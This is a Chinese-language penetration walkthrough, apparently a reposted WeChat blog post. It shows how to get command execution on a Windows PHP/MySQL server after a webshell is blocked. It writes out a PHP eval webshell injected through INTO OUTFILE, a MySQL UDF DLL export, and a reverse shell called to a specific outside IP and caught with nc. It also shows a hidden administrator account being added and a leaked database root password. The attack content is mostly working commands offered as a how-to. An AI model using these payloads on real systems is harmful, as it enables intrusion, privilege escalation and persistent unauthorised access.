但是在某些渗透场景中,拿到shell却也因为无法执行命令而苦恼,因为无法执行命令意味做提权就没戏了。
在本案例中就遇到拿到shell后无法执行命令,通过前期的一些基础研究发现,其实可以通过udf提权来绕过。
下面是整个渗透过程:
1.获取数据库root密码
获取该网站的主站密码是通过下载网站cms压缩包获取,如图1所示,从压缩包中直接搜索config.php直接获取,从配置中可以看出虽然密码有些弱口令的味道,但真正能够扫描出来绝对是人品好。
图1获取root密码
2.获取webshell
由于网站存在信息泄露,因此逐个访问文件出错获取网站真实路径“E:PHPnow-1.5.6htdocs”,如图2所示,通过phpmydmin直接一句话后门导出webshell:
select'<?php @eval($_POST[pass]);?>'INTO OUTFILE 'E:/PHPnow-1.5.6/htdocs/p.php'
图2获取webshell
3.无法执行命令
如图3所示,通过中国菜刀后门管理工具,成功获取webshell,在该shell中执行远程终端命令,提示“执行命令失败,可能远程启用了安全模式”
如图3所示,这个原因到现在我还是没有弄明白,对方服务器是如何配置。
图3无法执行命令
按照k8team那个哥们提供的方法,将那个php文件放上去,结果还是无法执行命令,且提示如下错误:
Parseerror: syntax error, unexpected T_NS_SEPARATOR, expecting T_STRINGin E:PHPnow-1.5.6htdocscmd.php on line 22
图4提示出错信息
通过一些提权的php大马,如图5所示,通过安装udf进行提权虽然显示执行命令成功,但实际并无效果。
图5大马webshell也无法执行命令
4. 使用反弹端口提权
使用《Mysql数据库反弹端口连接提权》(https://xianzhi.aliyun.com/forum/read/774.html)中的方法,先通过菜刀配置数据库,然后执行查询,将mysqldll.dll导出到插件.
(1)SELECT VERSION( );
获取信息:5.0.90-community-nt
(2)select @@datadir;
E:PHPnow-1.5.6MySQL-5.0.90data
(3)将mysqldll.dll导出到系统目录
将mysql.txt文件内容进行查询,创建ghost表,并把mysqlldll.dll文件通过load_file写入数据库表ghost,然后执行导出命令:
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'
注意在phpmyadmin中执行上面语句会出现以下错误提示:
#1064 - You have an error in yourSQL syntax; check the manual that corresponds to your MySQL server version forthe right syntax to use near 'LIMIT 0, 30' at line 2
将其在菜刀数据库管理中执行命令,则没有问题。
虽然执行命令成功了,但执行创建函数时,提示无法打开mysqldll.dll。
后面查看func函数,发现里面并没有写入值,如图6所示。
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'
Can't open shared library'mysqldll.dll' (errno: 2 )
图6func中并未创建成功
通过翻看服务器上的源代码发现服务器上面还允许另外一个mysql数据库是root账号对应密码201007201qaz@WSX,端口3309,通过菜刀进行配置,并执行
SHOW VARIABLES WHERE Variable_NameLIKE "%dir"
获取数据库的plugin 位置“D:servermysql-5.5.19-winx64libplugin”及其数据库版本5.5.19-log,如图7所示。
图7获取插件位置
到这一步,通过phpmyadmin明显无法去连接这个服务器
因为它没有指定端口和服务器地址,但我们从mysql的user表中发现,该数据库服务器居然配置多个用户连接host 为“%”,如图8所示。
图8host允许远程连接
看到这里直接通过客户端工具进行连接,并执行查询命令,重新创建表并导出dll文件,如图9,图10所示,成功导出mysqlDLL.dll 文件。
select data from Ghost intodumpfile 'D:/server/mysql-5.5.19-winx64/lib/plugin/mysqlDLL.dll';
图9再次执行查询
图10成功导出mysqldll.dll
(4)执行反弹
执行select backshell("122.115.47.39",4433);进行反弹,如图11所示,反弹服务器IP地址为122.115.47.39,端口为4433。
图11执行反弹
(5)获取反弹shell
在执行反弹前,需要在122.115.47.39服务器上执行nc –vv –l –p 4433命令,进行监听,如图12所示,成功获取反弹shell。
图12成功获取反弹shell
(6)添加管理员用户到服务器
分别执行命令“net1 localgroup administrators”
、“net1 user king$temp2005 /add”、“net1 localgroup administrators king$ /add ”查看管理员组和添加用户king$到管理员组,如图13所示
在系统中开始执行net命令并未成功,后面才知道原因,需要带路径执行。
有些时候系统对net命令进行限制,此时可以使用net1命令,或者自己上传一个net.exe来执行。
图13添加一个管理员用户
(7)登录远程终端
通过mstsc登录远程终端,如图14所示,成功登录。
图14登录3389
5.总结与探讨
在本次渗透成功后,在服务器上发现了N多后门,可见渗透无时无刻不在发生,没有被渗透那是服务器的幸运,也是管理者的幸运,但在互联网上,不怕一万,就怕万一,服务器多个用户配置成可以远程访问,会带来很多风险,比如嗅探口令等。
(黑客教程免费领)
原文始发于微信公众号(渗透师老A):实站教你拿到shell后无法执行命令的解决方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论